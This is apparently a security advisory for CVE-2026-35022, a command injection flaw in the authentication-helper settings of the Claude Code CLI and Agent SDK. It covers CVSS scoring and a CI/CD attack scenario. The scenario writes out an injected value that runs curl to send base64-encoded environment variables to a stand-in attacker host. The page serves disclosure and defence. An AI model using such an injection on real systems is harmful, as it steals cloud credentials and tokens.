Claude Code CVE-2026-35022

Attacker must influence authentication settings in Anthropic Claude Code CLI or Claude Agent SDK by modifying configuration parameters (apiKeyHelper, awsAuthRefresh, awsCredentialExport, gcpAuthRefresh) with shell metacharacters. Exploitation occurs when the CLI/SDK executes these helpers using shell=true without validation. Remote unauthenticated exploitation possible if attacker controls configuration files or environment.

The CVSS 4.0 score of 9.3 reflects critical severity with network attack vector (AV:N), low complexity (AC:L), no attack complexity (AT:N), no privileges required (PR:N), and no user interaction (UI:N), resulting in high confidential impact (VC:H), integrity impact (VI:H), and availability impact (VA:H). This scoring accurately represents the real-world risk given that publicly available exploit code exists, significantly lowering the barrier to exploitation. While no EPSS score or CISA KEV listing is provided in the available data, the combination of unauthenticated remote exploitation, low attack complexity, and public POC availability indicates high probability of exploitation attempts. The vulnerability poses exceptional risk in CI/CD environments where Claude SDKs may run with access to cloud credentials, API keys, and sensitive environment variables - precisely the targets Phoenix Security's advisory identifies. The command injection primitive enables full compromise of the execution environment, making this a genuine priority requiring immediate remediation despite the absence of confirmed active exploitation at time of analysis. Organizations using these tools in automated pipelines should treat this as a critical incident response scenario.

An attacker targeting a CI/CD pipeline identifies that a GitHub Actions workflow uses the Claude Agent SDK for Python with authentication helpers configured through environment variables. The attacker submits a pull request containing a workflow modification that injects shell metacharacters into the awsAuthRefresh parameter, such as 'legitimate-helper; curl attacker.com/exfil?data=$(env | base64); #'. When the CI/CD system executes the workflow, the vulnerable SDK processes this configuration with shell=true, executing both the legitimate helper and the injected commands. The attacker's command exfiltrates all environment variables-including AWS credentials, GitHub tokens, and API keys-to their controlled server. With these stolen credentials, the attacker gains persistent access to the organization's cloud infrastructure and code repositories. The publicly available exploit code documented in Phoenix Security's advisory at https://phoenix.security/critical-ci-cd-nightmare-3-command-injection-flaws-in-claude-code-cli-allow-credential-exfiltration/ provides attackers with ready-made techniques to exploit this vulnerability at scale.